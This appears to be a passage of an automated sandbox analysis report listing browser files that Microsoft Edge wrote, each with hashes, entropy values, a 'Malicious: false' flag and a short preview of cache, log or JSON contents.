Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:3aPtE0Xl/lR/lxE0tllBWKdn:qPFC06Kd
MD5:	74A4400655C01658D6C0E65F8C152E14
SHA1:	72CAB41338F202AA2CFA9A236715A1A806D9CC5A
SHA-256:	2DC4EDE92F3218959F566F0ED1DBFC38E2C0662B94CD3D8F7570C6F24970CC4A
SHA-512:	F32B7C53000F8167E7D90BA8259563B3BB78728B2511AEDB78A08AA636F5D6EC859C9F869EF8D63EEAD2CB59176B2FED2D1DD36BD2EC59D2F62CFCB00ACFE5BA
Malicious:	false
Preview:	@.....*.oy retne.........................X....,................J .{../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:3aPtE0Xl/lR/lxE0tllBWKdn:qPFC06Kd
MD5:	74A4400655C01658D6C0E65F8C152E14
SHA1:	72CAB41338F202AA2CFA9A236715A1A806D9CC5A
SHA-256:	2DC4EDE92F3218959F566F0ED1DBFC38E2C0662B94CD3D8F7570C6F24970CC4A
SHA-512:	F32B7C53000F8167E7D90BA8259563B3BB78728B2511AEDB78A08AA636F5D6EC859C9F869EF8D63EEAD2CB59176B2FED2D1DD36BD2EC59D2F62CFCB00ACFE5BA
Malicious:	false
Preview:	@.....*.oy retne.........................X....,................J .{../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF404de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:3aPtE0Xl/lR/lxE0tllBWKdn:qPFC06Kd
MD5:	74A4400655C01658D6C0E65F8C152E14
SHA1:	72CAB41338F202AA2CFA9A236715A1A806D9CC5A
SHA-256:	2DC4EDE92F3218959F566F0ED1DBFC38E2C0662B94CD3D8F7570C6F24970CC4A
SHA-512:	F32B7C53000F8167E7D90BA8259563B3BB78728B2511AEDB78A08AA636F5D6EC859C9F869EF8D63EEAD2CB59176B2FED2D1DD36BD2EC59D2F62CFCB00ACFE5BA
Malicious:	false
Preview:	@.....*.oy retne.........................X....,................J .{../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5665
Entropy (8bit):	3.4078926929411875
Encrypted:	false
SSDEEP:	96:AV+KAv9T86qDxssi24ZRut145pPG9Xp+WX+o+i4okkk5SLl9iSrV1rZTfp:Y6ucZR0145w9Xp+WX1+i4DN5SLl9iSrl
MD5:	E603E50BA90BA8B8E237E28E6C5D9907
SHA1:	BDCF859D58D4C84CBC9A75DAF81C4F2D2BA60726
SHA-256:	2271E28ACDC3C479A1786F5C044C9C4DAB588C875535895691F5E789116BA066
SHA-512:	06731EEE5BE834238728F5B28A2E02D9339A496AA5A89FE9D241FB32B3A42EB967C9AFA8BAAD5D381D296AF7330EDBF7DB3726330FE1F4C5C0B80E2FC00F71BE
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............M.sb................next-map-id.1.Cnamespace-c8a1cff4_bc28_453c_a033_408628e59b15-https://ntp.msn.com/.0.Y.V.................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.w.-.s.a.q.o.o.m.i.t.e.r.1.1.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.e.n.c.o.m.b.o.t.,.p.r.g.-.1.s.w.-.s.a.-.s.t.l.3.p.r.o.d.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.1.s.w.-.m.e.b.c.8.1.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.h.i.g.h.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.f.l.i.g.h.t.0.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180285578432263
Encrypted:	false
SSDEEP:	6:HURbVkL+q2P923oH+TcwtrQMxIFUt8YURb1Hz1Zmw+YURbgVC8lLVkwO923oH+Tv:kx5v4YebCFUt8b51/+bEC8z5LYebtJ
MD5:	22F936A3BDD9F7B50DEBDA1A3BDA0D87
SHA1:	A871781FEF3B15AC1EAF080BFA8295FBCE1E8958
SHA-256:	4496AE89746C8331ABCE6351AAE58EDCDFC4F7F25C251E8737980AB6C1D5EA32
SHA-512:	18BDD5FB30FB3B3E7F913922C7CB773E83D2E50B70CFB97ACD627A69D2D0547219072ADEFE921127CD9D492DE3AB894B36CF0280DA5EA635071E5590948349FA
Malicious:	false
Preview:	2024/11/17-06:35:25.197 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-06:35:25.198 17a8 Recovering log #3.2024/11/17-06:35:25.203 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180285578432263
Encrypted:	false
SSDEEP:	6:HURbVkL+q2P923oH+TcwtrQMxIFUt8YURb1Hz1Zmw+YURbgVC8lLVkwO923oH+Tv:kx5v4YebCFUt8b51/+bEC8z5LYebtJ
MD5:	22F936A3BDD9F7B50DEBDA1A3BDA0D87
SHA1:	A871781FEF3B15AC1EAF080BFA8295FBCE1E8958
SHA-256:	4496AE89746C8331ABCE6351AAE58EDCDFC4F7F25C251E8737980AB6C1D5EA32
SHA-512:	18BDD5FB30FB3B3E7F913922C7CB773E83D2E50B70CFB97ACD627A69D2D0547219072ADEFE921127CD9D492DE3AB894B36CF0280DA5EA635071E5590948349FA
Malicious:	false
Preview:	2024/11/17-06:35:25.197 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-06:35:25.198 17a8 Recovering log #3.2024/11/17-06:35:25.203 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376316926825460

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1470
Entropy (8bit):	3.8152339155438786
Encrypted:	false
SSDEEP:	24:3pw0NhNuOYGyeMpsAF4unxLAtLp3X2amEtG1ChqXTw3VwnQKkOAM4M:37hc/GwzFbeLp2FEkChCeRHOp
MD5:	283F047C2D712BD50F2A47B422C2BCE6
SHA1:	3C02C12EDE02DFA2EAFE14A2D6A00689D9E08231
SHA-256:	459197FB18A9D18D3734B76FBAB9F086ED970BA97CC748E37BDEE9EE0F05EC88
SHA-512:	659CAB4C906E1807EE6851802BA0D97C09B9CD88CA2D025136348179F00C2DEE59863C62542CD923BCEBE55BCD18B6092E16307B14DBE78005CF4A86107B6F73
Malicious:	false
Preview:	SNSS.........2i.............2i......"..2i.............2i.........2i.........2i.........2i....!....2i.................................2i..2i1..,.....2i$...c8a1cff4_bc28_453c_a033_408628e59b15.....2i.........2i....qu...........2i.....2i.........................2i.........................2i....................5..0.....2i&...{98952893-68FF-4A5D-A164-705C709ED3DB}.......2i.........2i............................2i.............2i........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......(.X2.'..).X2.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8.................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.130816155966545
Encrypted:	false
SSDEEP:	6:HURb1yOq2P923oH+Tcwt7Uh2ghZIFUt8YURb1aLZZmw+YURb1aLzkwO923oH+Tcz:klv4YebIhHh2FUt8bg/+bI5LYebIhHLJ
MD5:	94E708DC1B28B00E0CDE33F53EF55075
SHA1:	6672DFA30F712CE655A955959E9737C41A4352B3
SHA-256:	B13E09CBE4B49653DBA9624F91246BA78330EF99FCB69BD1C37B5DC48F53194B
SHA-512:	267F8569BAD6BB41F9A2E93ECEAFEA10E952DEA9F7D2F7002251517404ED8758FADB78A07302FB5F96A3E46109EFCA848EBCB07FEA29FF4E6191EB045A17E57D
Malicious:	false
Preview:	2024/11/17-06:35:24.419 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-06:35:24.420 1c10 Recovering log #3.2024/11/17-06:35:24.420 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.130816155966545
Encrypted:	false
SSDEEP:	6:HURb1yOq2P923oH+Tcwt7Uh2ghZIFUt8YURb1aLZZmw+YURb1aLzkwO923oH+Tcz:klv4YebIhHh2FUt8bg/+bI5LYebIhHLJ
MD5:	94E708DC1B28B00E0CDE33F53EF55075
SHA1:	6672DFA30F712CE655A955959E9737C41A4352B3
SHA-256:	B13E09CBE4B49653DBA9624F91246BA78330EF99FCB69BD1C37B5DC48F53194B
SHA-512:	267F8569BAD6BB41F9A2E93ECEAFEA10E952DEA9F7D2F7002251517404ED8758FADB78A07302FB5F96A3E46109EFCA848EBCB07FEA29FF4E6191EB045A17E57D
Malicious:	false
Preview:	2024/11/17-06:35:24.419 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-06:35:24.420 1c10 Recovering log #3.2024/11/17-06:35:24.420 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.257542008152488
Encrypted:	false
SSDEEP:	12:k9v4YebvqBQFUt8bm1/+bm8z5LYebvqBvJ:A4YebvZg8fLYebvk
MD5:	4CE19EE983389B941D189B638CF68DF5
SHA1:	7F7DBA3BEA42EF54FBEBB408A4B1889F7827645E
SHA-256:	C9C3CFCF25B3A5C6F69E110924DA10A21BDD90D612A0AB7A2B4A9595240D2A5E
SHA-512:	B12F92B81931677C670B59D8457F8499352BEAEC6ACD5683AEB0E703D16C2C958B5516CE5FD2C9EA18895EEB68B28FCBF5C482F9FE460BAD903C511394C1D971
Malicious:	false
Preview:	2024/11/17-06:35:25.267 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-06:35:25.270 17a8 Recovering log #3.2024/11/17-06:35:25.273 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.257542008152488
Encrypted:	false
SSDEEP:	12:k9v4YebvqBQFUt8bm1/+bm8z5LYebvqBvJ:A4YebvZg8fLYebvk
MD5:	4CE19EE983389B941D189B638CF68DF5
SHA1:	7F7DBA3BEA42EF54FBEBB408A4B1889F7827645E
SHA-256:	C9C3CFCF25B3A5C6F69E110924DA10A21BDD90D612A0AB7A2B4A9595240D2A5E
SHA-512:	B12F92B81931677C670B59D8457F8499352BEAEC6ACD5683AEB0E703D16C2C958B5516CE5FD2C9EA18895EEB68B28FCBF5C482F9FE460BAD903C511394C1D971
Malicious:	false
Preview:	2024/11/17-06:35:25.267 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-06:35:25.270 17a8 Recovering log #3.2024/11/17-06:35:25.273 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\214645c8-e0a3-4339-bac4-6ddee2096ba3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5d9e83bf-2c5e-42c7-8d4e-50417d703762.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3dea9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d7a07266-1a28-406d-9f95-8d2915ee9c74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d875174c-8f66-4b47-84ba-b94d16d02083.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.271328076119858
Encrypted:	false
SSDEEP:	12:k7v4YebvqBZFUt8bqK11/+bVj5LYebvqBaJ:y4Yebvyg8uN1LYebvL
MD5:	96E3FECFAD47D769BB4EA175DFE2B4A9
SHA1:	6B59807F7F1CC78495150BEDD7EE6795BA206C8C
SHA-256:	C93F8A0296825576151BAC5921E1CBDE33D5C131783CBC91AA22FDF2CF3C3043
SHA-512:	CEB32979A4905B4D31A02A23F179A369689DC8D53BEC5A9EABF99BA2AEEEDB5052740D3AB27E817152FE406B881C5949D5CB6DF34E3B5345BB42F8065800DF60
Malicious:	false
Preview:	2024/11/17-06:35:41.906 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-06:35:41.907 17a8 Recovering log #3.2024/11/17-06:35:41.909 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

